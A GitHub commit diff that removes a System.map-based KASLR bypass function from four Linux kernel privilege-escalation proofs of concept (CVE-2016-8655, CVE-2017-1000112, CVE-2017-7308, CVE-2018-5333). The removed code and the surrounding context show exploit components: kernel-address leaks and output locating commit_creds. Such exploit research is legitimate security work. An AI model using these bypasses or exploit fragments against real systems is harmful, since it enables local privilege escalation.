Skip to content

Commit 9611921

Browse files
bcolesbcoles
committed
Remove System.map KASLR bypass
1 parent ca9bc79 commit 9611921

File tree

4 files changed

+0
-196
lines changed

4 files changed

+0
-196
lines changed

‎CVE-2016-8655/chocobo_root.c‎

Lines changed: 0 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,6 @@ Updated by <bcoles@gmail.com>
117117
# define KERNEL_BASE_MIN 0xffffffff00000000ul
118118
# define KERNEL_BASE_MAX 0xffffffffff000000ul
119119
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
120-
# define ENABLE_KASLR_BYPASS_SYSMAP 1
121120
# define ENABLE_KASLR_BYPASS_SYSLOG 1
122121
# define ENABLE_KASLR_BYPASS_MINCORE 1
123122
#endif
@@ -808,47 +807,6 @@ unsigned long get_kernel_addr_kallsyms() {
808807
}
809808
#endif
810809

811-
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
812-
// https://grsecurity.net/~spender/exploits/exploit.txt
813-
814-
#if ENABLE_KASLR_BYPASS_SYSMAP
815-
unsigned long get_kernel_addr_sysmap() {
816-
FILE *f;
817-
unsigned long addr = 0;
818-
char path[512] = "/boot/System.map-";
819-
820-
struct utsname u;
821-
u = get_kernel_version();
822-
strcat(path, u.release);
823-
dprintf("[.] trying %s...\n", path);
824-
f = fopen(path, "r");
825-
if (f == NULL) {
826-
dprintf("[-] open/read(%s)\n", path);
827-
return 0;
828-
}
829-
830-
char dummy;
831-
char sname[256];
832-
char* name = "startup_64";
833-
int ret = 0;
834-
while (ret != EOF) {
835-
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
836-
if (ret == 0) {
837-
fscanf(f, "%s\n", sname);
838-
continue;
839-
}
840-
if (!strcmp(name, sname)) {
841-
fclose(f);
842-
return addr;
843-
}
844-
}
845-
846-
fclose(f);
847-
dprintf("[-] kernel base not found in %s\n", path);
848-
return 0;
849-
}
850-
#endif
851-
852810
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
853811
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
854812

@@ -906,11 +864,6 @@ unsigned long get_kernel_addr() {
906864
if (addr) return addr;
907865
#endif
908866

909-
#if ENABLE_KASLR_BYPASS_SYSMAP
910-
addr = get_kernel_addr_sysmap();
911-
if (addr) return addr;
912-
#endif
913-
914867
#if ENABLE_KASLR_BYPASS_SYSLOG
915868
addr = get_kernel_addr_syslog();
916869
if (addr) return addr;

‎CVE-2017-1000112/poc.c‎

Lines changed: 0 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -23,8 +23,6 @@
2323
// [~] done, namespace sandbox set up
2424
// [.] KASLR bypass enabled, getting kernel base address...
2525
// [.] trying /proc/kallsyms...
26-
// [.] trying /boot/System.map-4.8.0-58-generic...
27-
// [-] open/read(/boot/System.map-4.8.0-58-generic): Permission denied
2826
// [.] trying syslog...
2927
// [~] done, kernel base: ffffffffa7e00000
3028
// [.] commit_creds: ffffffffa7ea5d20
@@ -89,7 +87,6 @@
8987
# define KERNEL_BASE_MIN 0xffffffff00000000ul
9088
# define KERNEL_BASE_MAX 0xffffffffff000000ul
9189
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
92-
# define ENABLE_KASLR_BYPASS_SYSMAP 1
9390
# define ENABLE_KASLR_BYPASS_SYSLOG 1
9491
# define ENABLE_KASLR_BYPASS_PERF 1
9592
# define ENABLE_KASLR_BYPASS_MINCORE 1
@@ -700,47 +697,6 @@ unsigned long get_kernel_addr_kallsyms() {
700697
}
701698
#endif
702699

703-
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
704-
// https://grsecurity.net/~spender/exploits/exploit.txt
705-
706-
#if ENABLE_KASLR_BYPASS_SYSMAP
707-
unsigned long get_kernel_addr_sysmap() {
708-
FILE *f;
709-
unsigned long addr = 0;
710-
char path[512] = "/boot/System.map-";
711-
712-
struct utsname u;
713-
u = get_kernel_version();
714-
strcat(path, u.release);
715-
dprintf("[.] trying %s...\n", path);
716-
f = fopen(path, "r");
717-
if (f == NULL) {
718-
dprintf("[-] open/read(%s): %m\n", path);
719-
return 0;
720-
}
721-
722-
char dummy;
723-
char sname[256];
724-
char* name = "startup_64";
725-
int ret = 0;
726-
while (ret != EOF) {
727-
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
728-
if (ret == 0) {
729-
fscanf(f, "%s\n", sname);
730-
continue;
731-
}
732-
if (!strcmp(name, sname)) {
733-
fclose(f);
734-
return addr;
735-
}
736-
}
737-
738-
fclose(f);
739-
dprintf("[-] kernel base not found in %s\n", path);
740-
return 0;
741-
}
742-
#endif
743-
744700
// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
745701
// https://blog.lizzie.io/kaslr-and-perf.html
746702

@@ -927,11 +883,6 @@ unsigned long get_kernel_addr() {
927883
if (addr) return addr;
928884
#endif
929885

930-
#if ENABLE_KASLR_BYPASS_SYSMAP
931-
addr = get_kernel_addr_sysmap();
932-
if (addr) return addr;
933-
#endif
934-
935886
#if ENABLE_KASLR_BYPASS_SYSLOG
936887
addr = get_kernel_addr_syslog();
937888
if (addr) return addr;

‎CVE-2017-7308/poc.c‎

Lines changed: 0 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,6 @@
1919
// [~] done, namespace sandbox set up
2020
// [.] KASLR bypass enabled, getting kernel base address
2121
// [.] trying /proc/kallsyms...
22-
// [.] trying /boot/System.map-4.8.0-45-lowlatency...
23-
// [-] open/read(/boot/System.map-4.8.0-45-lowlatency): Permission denied
2422
// [.] trying syslog...
2523
// [.] done, kernel text: ffffffff97400000
2624
// [.] commit_creds: ffffffff974a6ec0
@@ -96,7 +94,6 @@
9694
# define KERNEL_BASE_MIN 0xffffffff00000000ul
9795
# define KERNEL_BASE_MAX 0xffffffffff000000ul
9896
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
99-
# define ENABLE_KASLR_BYPASS_SYSMAP 1
10097
# define ENABLE_KASLR_BYPASS_SYSLOG 1
10198
#endif
10299

@@ -591,47 +588,6 @@ unsigned long get_kernel_addr_kallsyms() {
591588
}
592589
#endif
593590

594-
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
595-
// https://grsecurity.net/~spender/exploits/exploit.txt
596-
597-
#if ENABLE_KASLR_BYPASS_SYSMAP
598-
unsigned long get_kernel_addr_sysmap() {
599-
FILE *f;
600-
unsigned long addr = 0;
601-
char path[512] = "/boot/System.map-";
602-
603-
struct utsname u;
604-
u = get_kernel_version();
605-
strcat(path, u.release);
606-
dprintf("[.] trying %s...\n", path);
607-
f = fopen(path, "r");
608-
if (f == NULL) {
609-
dprintf("[-] open/read(%s): %m\n", path);
610-
return 0;
611-
}
612-
613-
char dummy;
614-
char sname[256];
615-
char* name = "startup_64";
616-
int ret = 0;
617-
while (ret != EOF) {
618-
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
619-
if (ret == 0) {
620-
fscanf(f, "%s\n", sname);
621-
continue;
622-
}
623-
if (!strcmp(name, sname)) {
624-
fclose(f);
625-
return addr;
626-
}
627-
}
628-
629-
fclose(f);
630-
dprintf("[-] kernel base not found in %s\n", path);
631-
return 0;
632-
}
633-
#endif
634-
635591
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
636592

637593
unsigned long get_kernel_addr() {
@@ -642,11 +598,6 @@ unsigned long get_kernel_addr() {
642598
if (addr) return addr;
643599
#endif
644600

645-
#if ENABLE_KASLR_BYPASS_SYSMAP
646-
addr = get_kernel_addr_sysmap();
647-
if (addr) return addr;
648-
#endif
649-
650601
#if ENABLE_KASLR_BYPASS_SYSLOG
651602
addr = get_kernel_addr_syslog_xenial();
652603
if (addr) return addr;

‎CVE-2018-5333/cve-2018-5333.c‎

Lines changed: 0 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -36,8 +36,6 @@
3636
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
3737
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
3838
// - https://grsecurity.net/~spender/exploits/exploit.txt
39-
// - spender's /boot/System.map KASLR bypass (requires readable System.map file)
40-
// - https://grsecurity.net/~spender/exploits/exploit.txt
4139
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
4240
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
4341
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
@@ -65,8 +63,6 @@
6563
// [.] KASLR bypass enabled, getting kernel base address
6664
// [.] trying /proc/kallsyms...
6765
// [-] kernel base not found in /proc/kallsyms
68-
// [.] trying /boot/System.map-4.4.0-116-generic...
69-
// [-] open/read(/boot/System.map-4.4.0-116-generic): Permission denied
7066
// [.] trying syslog...
7167
// [-] kernel base not found in syslog
7268
// [.] trying perf_event_open sampling...
@@ -119,7 +115,6 @@
119115
# define KERNEL_BASE_MIN 0xffffffff00000000ul
120116
# define KERNEL_BASE_MAX 0xffffffffff000000ul
121117
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
122-
# define ENABLE_KASLR_BYPASS_SYSMAP 1
123118
# define ENABLE_KASLR_BYPASS_SYSLOG 1
124119
# define ENABLE_KASLR_BYPASS_PERF 1
125120
# define ENABLE_KASLR_BYPASS_MINCORE 1
@@ -486,47 +481,6 @@ unsigned long get_kernel_addr_kallsyms() {
486481
}
487482
#endif
488483

489-
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
490-
// https://grsecurity.net/~spender/exploits/exploit.txt
491-
492-
#if ENABLE_KASLR_BYPASS_SYSMAP
493-
unsigned long get_kernel_addr_sysmap() {
494-
FILE *f;
495-
unsigned long addr = 0;
496-
char path[512] = "/boot/System.map-";
497-
498-
struct utsname u;
499-
u = get_kernel_version();
500-
strcat(path, u.release);
501-
dprintf("[.] trying %s...\n", path);
502-
f = fopen(path, "r");
503-
if (f == NULL) {
504-
dprintf("[-] open/read(%s): %m\n", path);
505-
return 0;
506-
}
507-
508-
char dummy;
509-
char sname[256];
510-
char* name = "startup_64";
511-
int ret = 0;
512-
while (ret != EOF) {
513-
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
514-
if (ret == 0) {
515-
fscanf(f, "%s\n", sname);
516-
continue;
517-
}
518-
if (!strcmp(name, sname)) {
519-
fclose(f);
520-
return addr;
521-
}
522-
}
523-
524-
fclose(f);
525-
dprintf("[-] kernel base not found in %s\n", path);
526-
return 0;
527-
}
528-
#endif
529-
530484
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
531485
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
532486

@@ -786,11 +740,6 @@ unsigned long get_kernel_addr() {
786740
if (addr) return addr;
787741
#endif
788742

789-
#if ENABLE_KASLR_BYPASS_SYSMAP
790-
addr = get_kernel_addr_sysmap();
791-
if (addr) return addr;
792-
#endif
793-
794743
#if ENABLE_KASLR_BYPASS_SYSLOG
795744
addr = get_kernel_addr_syslog();
796745
if (addr) return addr;

0 commit comments

Comments
 (0)